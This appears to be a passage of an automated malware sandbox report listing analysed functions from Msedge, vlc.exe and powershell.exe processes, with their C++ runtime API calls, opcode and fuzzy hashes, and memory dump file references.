Instruction ID: fe1c984d1561f8a5a406740524e72fa3740693d4895162858fea2bb0cac2a785
Opcode Fuzzy Hash: 4a1f6d03ca14bf1403e94171af387133f0202b7b6271c2f389aac75518f98b30
Instruction Fuzzy Hash: 69414F32A18E8586EB219F15D990129BBB1FB88F84F588431DE8D87B69CE3CD852D701

Function 00007FF62B648F38 Relevance: 7.6, APIs: 5, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62B64CC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF62B648F80), ref: 00007FF62B64CCA2

??0_Locinfo@std@@QEAA@PEBD@Z.MSVCP140 ref: 00007FF62B648FB8
??0facet@locale@std@@IEAA@_K@Z.MSVCP140 ref: 00007FF62B648FCF
?_Getcoll@_Locinfo@std@@QEBA?AU_Collvec@@XZ.MSVCP140 ref: 00007FF62B648FE8
??1_Locinfo@std@@QEAA@XZ.MSVCP140 ref: 00007FF62B64900C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B649053

Part of subcall function 00007FF62B64B07C: ?c_str@?$_Yarn@D@std@@QEBAPEBDXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF62B648F9D), ref: 00007FF62B64B0B6
Part of subcall function 00007FF62B64B07C: memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF62B648F9D), ref: 00007FF62B64B131
Part of subcall function 00007FF62B64B07C: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64B1C6

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: Locinfo@std@@$_invalid_parameter_noinfo_noreturn$??0_??0facet@locale@std@@??1_?c_str@?$_Collvec@@D@std@@Getcoll@_Yarn@mallocmemmove
String ID:
API String ID: 1602917343-0
Opcode ID: a78317c7dc147549a852ed621cc671225eacfe356231027a8034ae884b313f52
Instruction ID: ce46142e338724bbdc111f51030794802df17b73430b61ae0cfa8debd7bf7d16
Opcode Fuzzy Hash: a78317c7dc147549a852ed621cc671225eacfe356231027a8034ae884b313f52
Instruction Fuzzy Hash: 29314D22A09E8189EE34DB15EC6036A6261FF89BA0F544235DA9D837F5DF3CD485D601

Function 00007FF62B644BEC Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140(?,00000001,?,00007FF62B64523C,?,00000000,00000001,00007FF62B6410A1), ref: 00007FF62B644C01
??Bid@locale@std@@QEAA_KXZ.MSVCP140(?,00007FF62B64523C,?,00000000,00000001,00007FF62B6410A1), ref: 00007FF62B644C1B
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140(?,00007FF62B64523C,?,00000000,00000001,00007FF62B6410A1), ref: 00007FF62B644C4D
??1_Lockit@std@@QEAA@XZ.MSVCP140(?,00007FF62B64523C,?,00000000,00000001,00007FF62B6410A1), ref: 00007FF62B644CA9

Part of subcall function 00007FF62B648F38: ??0_Locinfo@std@@QEAA@PEBD@Z.MSVCP140 ref: 00007FF62B648FB8
Part of subcall function 00007FF62B648F38: ??0facet@locale@std@@IEAA@_K@Z.MSVCP140 ref: 00007FF62B648FCF
Part of subcall function 00007FF62B648F38: ?_Getcoll@_Locinfo@std@@QEBA?AU_Collvec@@XZ.MSVCP140 ref: 00007FF62B648FE8
Part of subcall function 00007FF62B648F38: ??1_Locinfo@std@@QEAA@XZ.MSVCP140 ref: 00007FF62B64900C
Part of subcall function 00007FF62B648F38: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B649053

std::_Facet_Register.LIBCPMT ref: 00007FF62B644C8F

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: Locinfo@std@@$??0_??1_Lockit@std@@$??0facet@locale@std@@Bid@locale@std@@Collvec@@Facet_Getcoll@_Getgloballocale@locale@std@@Locimp@12@Register_invalid_parameter_noinfo_noreturnstd::_
String ID:
API String ID: 1009702548-0
Opcode ID: 8e30e28fb1fac57f1a0170126ba30d028ebb790b07cd25a607e1e29078725d41
Instruction ID: ae4276ce4d5416fc36f6d5e52c87ffeaf13c83c9d3c67dc8ad99a1c040e77e74
Opcode Fuzzy Hash: 8e30e28fb1fac57f1a0170126ba30d028ebb790b07cd25a607e1e29078725d41
Instruction Fuzzy Hash: 13217426A08E4285EE259B51EC611BAA770FF8CBA0F0C0131DE5D877B5DE7CE485D301

Function 00007FF62B64E098 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__current_exception.VCRUNTIME140 ref: 00007FF62B64E0CD
__current_exception_context.VCRUNTIME140 ref: 00007FF62B64E0E1
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B64E0E9

Strings

csm, xrefs: 00007FF62B64E0B9

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: 4c4bbd4a42ae7351677d875046182b1a39caa59085d51b43aab2762be9c7daf4
Instruction ID: a7b03b6a494d7f2ccc1d52e7afe6045a4ee94fda0b307f89e11a6bcff457719a
Opcode Fuzzy Hash: 4c4bbd4a42ae7351677d875046182b1a39caa59085d51b43aab2762be9c7daf4
Instruction Fuzzy Hash: C7F0E237A09E45CACB249F62EC900AC3374F78CB88B496130FA8D87765CF38D8A09301

Function 00007FF62B64A56C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,00007FF62B64A4CB,?,?,?,00007FF62B64AE85), ref: 00007FF62B64A577
?_Xlength_error@std@@YAXPEBD@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62B64AE85), ref: 00007FF62B64A58B

Strings

vector<bool> too long, xrefs: 00007FF62B64A570
string too long, xrefs: 00007FF62B64A584

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: Xlength_error@std@@
String ID: string too long$vector<bool> too long
API String ID: 1004598685-1183328865
Opcode ID: 99b7cb9ba424e8a71ac46053b43b1e13783d236c9af943f7262ad633b9f0ead6
Instruction ID: 77760df70946c1817f2e39c5abb9a74f524cb3567baa3a826ca4e0fa5a0de15f
Opcode Fuzzy Hash: 99b7cb9ba424e8a71ac46053b43b1e13783d236c9af943f7262ad633b9f0ead6
Instruction Fuzzy Hash: 1CC00219D15C4EA5E93CBBA19C750642731FB6D300F604D31D31D8BD715D3C75565613

Function 00007FF62B649638 Relevance: 6.4, APIs: 4, Instructions: 351COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00000000), ref: 00007FF62B649B4E
?_Xregex_error@std@@YAXW4error_type@regex_constants@1@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 00007FF62B649B5A
?_Xregex_error@std@@YAXW4error_type@regex_constants@1@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000000,?,00000000,00007FF62B643114,?,?,00000000,00007FF62B644001), ref: 00007FF62B649B65
?_Xregex_error@std@@YAXW4error_type@regex_constants@1@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000000,?,00000000,00007FF62B643114,?,?,00000000,00007FF62B644001), ref: 00007FF62B649B70

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: W4error_type@regex_constants@1@@Xregex_error@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 853480605-0
Opcode ID: bee4f38196beb3b8a7a72e55541a746e88538d4e3c55e90de900931ecddeb9c7
Instruction ID: 924a3a204256a1b2d90db98a466d16d852d7ac516846c8768585484bd3e333f7
Opcode Fuzzy Hash: bee4f38196beb3b8a7a72e55541a746e88538d4e3c55e90de900931ecddeb9c7
Instruction Fuzzy Hash: 7EE19672A48E458AEE788A2AC9A477C27B1FB0D784F044135CB5D877E5CF78E494E702

Function 00007FF62B647D9C Relevance: 6.3, APIs: 4, Instructions: 297COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FF62B647CE8), ref: 00007FF62B647FC8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62B647CE8), ref: 00007FF62B6480C4
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF62B648003

Part of subcall function 00007FF62B64CC88: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF62B648F80), ref: 00007FF62B64CCA2

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF62B6480FF

Part of subcall function 00007FF62B64CC88: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF62B64CCBE

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: Concurrency::cancel_current_task$_invalid_parameter_noinfo_noreturn$malloc
String ID:
API String ID: 961033532-0
Opcode ID: 5a3981d2286dfb97adab2a8487f28cd1e0e5411dfcf1711b72f4f8558bf23c51
Instruction ID: 74a538469df6724c3fc4d3e5816f5087fb6cbdad82cdadb3f60fc4bc3a09123c
Opcode Fuzzy Hash: 5a3981d2286dfb97adab2a8487f28cd1e0e5411dfcf1711b72f4f8558bf23c51
Instruction Fuzzy Hash: 9FB1D671A09E8286EE749B25AA602BD6371FF49BC0F184531DB5D87BA6CF3CF4519302

Function 00007FF62B64B1FC Relevance: 6.1, APIs: 4, Instructions: 126COMMON

Download Yara Rule

APIs

?_Pninc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAPEADXZ.MSVCP140 ref: 00007FF62B64B24E

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: D@std@@@std@@Pninc@?$basic_streambuf@U?$char_traits@
String ID:
API String ID: 3551493264-0
Opcode ID: 72b3cd7a3345ff34c930a9702fafe002aedeed9dbe8e7e9e2d77e1d6d080af4d
Instruction ID: 24ecea243875a0f5c2e18c9de00d061ea8ee1fa53ffb3a67601539bded8ee371
Opcode Fuzzy Hash: 72b3cd7a3345ff34c930a9702fafe002aedeed9dbe8e7e9e2d77e1d6d080af4d
Instruction Fuzzy Hash: 86515826A08F4285EF268F2AD96037D7761FB49F94F484531CE5D977B8DE38D482A301

Function 00007FF62B644A30 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

?tolower@?$ctype@D@std@@QEBAPEBDPEADPEBD@Z.MSVCP140 ref: 00007FF62B644ACD
memmove.VCRUNTIME140 ref: 00007FF62B644B43
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B644B87
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B644BBD

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$?tolower@?$ctype@D@std@@memmove
String ID:
API String ID: 1594617108-0
Opcode ID: dbabbb78ba67c4d8a946ca0e21ab842105879f4c107f55675a75131463aa0b99
Instruction ID: 23dc1eed525ee01b4e790cc8a447a2330115c65243fb3972201503710aa81a66
Opcode Fuzzy Hash: dbabbb78ba67c4d8a946ca0e21ab842105879f4c107f55675a75131463aa0b99
Instruction Fuzzy Hash: AF517CA2F14A5589FF10CBA5D8553AC2771FB08BA8F184235CE1C6BBE9DFB89085D341

Function 00007FF62B646B24 Relevance: 6.1, APIs: 4, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62B644A30: ?tolower@?$ctype@D@std@@QEBAPEBDPEADPEBD@Z.MSVCP140 ref: 00007FF62B644ACD
Part of subcall function 00007FF62B644A30: memmove.VCRUNTIME140 ref: 00007FF62B644B43
Part of subcall function 00007FF62B644A30: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B644B87

Part of subcall function 00007FF62B644A30: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B644BBD

memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000001,?,000000FF,?,00000000,00007FF62B6486D7), ref: 00007FF62B646BA6
memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000001,?,000000FF,?,00000000,00007FF62B6486D7), ref: 00007FF62B646C21
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000001,?,000000FF,?,00000000,00007FF62B6486D7), ref: 00007FF62B646C84
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000001,?,000000FF,?,00000000,00007FF62B6486D7), ref: 00007FF62B646C8B

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$?tolower@?$ctype@D@std@@memcmpmemmovememset
String ID:
API String ID: 3989215635-0
Opcode ID: 3c9eb38ab5c6b93aa1fe3ccc97c34aa897d6be996ee0578d3a895c0be7e936d7
Instruction ID: fcfa1bff3fc13c61714b60aab63ecc4171e9b787c8a86d71c0ce0d1a1e76d100
Opcode Fuzzy Hash: 3c9eb38ab5c6b93aa1fe3ccc97c34aa897d6be996ee0578d3a895c0be7e936d7
Instruction Fuzzy Hash: E641DC62B04E4184FF24CBA6D8603ED2372FB4CBA8F440632DE1D87BE9DE68D4859301

Function 00007FF62B643620 Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF62B6436FF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF62B643742
memmove.VCRUNTIME140 ref: 00007FF62B64374C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF62B64377F

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: c3c948dbb578ae6a538e68a4d0a20b52b8a687722b8855c772a045323c7bbc69
Instruction ID: a56dc7d7be5f468cee701cb538ec6cbd724909c6e2f2ca41b3c19140ae19b8dd
Opcode Fuzzy Hash: c3c948dbb578ae6a538e68a4d0a20b52b8a687722b8855c772a045323c7bbc69
Instruction Fuzzy Hash: A6313661708A4281ED24DB12AA2423D6371FF08BE0F588631DE7D47BF5DE7CE0819305

Function 00007FF62B6458DC Relevance: 5.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00007FF62B6440A7), ref: 00007FF62B645913
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00007FF62B6440A7), ref: 00007FF62B645947
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00007FF62B6440A7), ref: 00007FF62B645964
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,00007FF62B6440A7), ref: 00007FF62B645986

Memory Dump Source

Source File: 00000012.00000002.2917143594.00007FF62B641000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF62B640000, based on PE: true

Associated: 00000012.00000002.2917070297.00007FF62B640000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917231574.00007FF62B64F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917308274.00007FF62B654000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000012.00000002.2917394389.00007FF62B655000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff62b640000_Msedge.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 38aaa1debd1dd55f83f0411f5cd8ce79a3f98df747aae173c4bac2d37a15f5f7
Instruction ID: 0b72b70f2a8b95f18501315f14eb3b309ad2fb1d4f7527de2d0b3c60516e6bd9
Opcode Fuzzy Hash: 38aaa1debd1dd55f83f0411f5cd8ce79a3f98df747aae173c4bac2d37a15f5f7
Instruction Fuzzy Hash: EC21DF26A08E9286EE65DF12EC601796374FB4CFD0B085432DF4E57B6ACE3CE4519341

Analysis Process: vlc.exePID: 7316, Parent PID: 6256COMMON

Executed Functions

Function 00007FF6320214B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1999972375.00007FF632021000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF632020000, based on PE: true

Associated: 00000013.00000002.1999928726.00007FF632020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2000025017.00007FF63203B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2000045776.00007FF63203C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2000676341.00007FF6325A9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2000725570.00007FF6325AC000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2000759811.00007FF6325B5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2000794446.00007FF6325B8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000013.00000002.2000831059.00007FF6325B9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff632020000_vlc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba073a1d48b37eaaf8d75c2580dfac996d96d24c611e188025e5d7499d33fba8
Instruction ID: 361f8142b97b11f17ca05e3402e45b2da2b5ae453129b0acadedb5eae2508ad4
Opcode Fuzzy Hash: ba073a1d48b37eaaf8d75c2580dfac996d96d24c611e188025e5d7499d33fba8
Instruction Fuzzy Hash: 25B012B091430984F3012F01D84225C32606F18B44F814032D40C83353CFFD90445B20

Analysis Process: powershell.exePID: 7388, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9BBA3992 Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1983889255.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d2a4c9e323f5e0021011d00da234c515dda163547b7239c8317dfe288c0502
Instruction ID: cea3ac8a6694a0a250067c3ef481dd41d5d4f415d91eb87798a19a8d4e2e37a4
Opcode Fuzzy Hash: 07d2a4c9e323f5e0021011d00da234c515dda163547b7239c8317dfe288c0502
Instruction Fuzzy Hash: 40B11422F0EBCA0FE7A69A6858B11747BE1EF56318B4A01FBD04DCB1E3D918AD45C341

Function 00007FFD9BADD5BC Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1982130934.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c5283e8176851cfacc0f95375cab288333b344bfbbdf39238afc7c5a6e6d2f8
Instruction ID: 03dcec0b32bd906ac0e958ecc0363c9edc9695e580d4fb9799b2c05b359a7046
Opcode Fuzzy Hash: 0c5283e8176851cfacc0f95375cab288333b344bfbbdf39238afc7c5a6e6d2f8
Instruction Fuzzy Hash: 22816530A1DB494FE758EF18C4A4AB5B7E0EF95310F1102BDD0DAC72A6DA65B882C741

Function 00007FFD9BADB0F8 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1982130934.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6ef0c403a92e59f206ed8c63e293f9c579cac67a5e1b45a14118587d66035a9
Instruction ID: bf810ac3d5db8bc3b73bddd695a06c6f5dc514f0a41c4c08270c99fb2d54800d
Opcode Fuzzy Hash: a6ef0c403a92e59f206ed8c63e293f9c579cac67a5e1b45a14118587d66035a9
Instruction Fuzzy Hash: 8B41083190CB4C4FDB1C9B5C984A7E97BE0EBA5321F10422FE049C3692CAB56456CB82

Function 00007FFD9BADB028 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1982130934.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8100877b460f73fa6159c2994367021dd8f00fc2edece7344c9d0631e7acc6dd
Instruction ID: 7c264a86ba29230e1ba185c57d558ad6b181cbf84317f72af2036f6b1a663145
Opcode Fuzzy Hash: 8100877b460f73fa6159c2994367021dd8f00fc2edece7344c9d0631e7acc6dd
Instruction Fuzzy Hash: A231253190C74C8EEB58DFAC984A7E97BE0EB96330F04826FD04CC7192D674641ACB92

Function 00007FFD9BADA0E5 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1982130934.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66bcf49b8bbf6f5f6366535041a94890e3ab38d2388968556f2377989b340df6
Instruction ID: f7b3cadb726ddb2327c52e2ca41374fbb3fd257b1fb5d56f272e7cab1c4043d2
Opcode Fuzzy Hash: 66bcf49b8bbf6f5f6366535041a94890e3ab38d2388968556f2377989b340df6
Instruction Fuzzy Hash: 8931087191CB4C8FDB58DB5CDC4A6A97BE0FBA9320F00426FE449C3252DA74A855CBC2

Function 00007FFD9B9BE99F Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1979987270.00007FFD9B9BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd9b9bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a15d2ef76b0cac7c3ca77f7736a4645119af02b7a65c465bccd698ae55832fb
Instruction ID: 7c4a5654cf23b621e9b8fb029ec87d48593b6dbc4dc831725f4f7710735d9afe
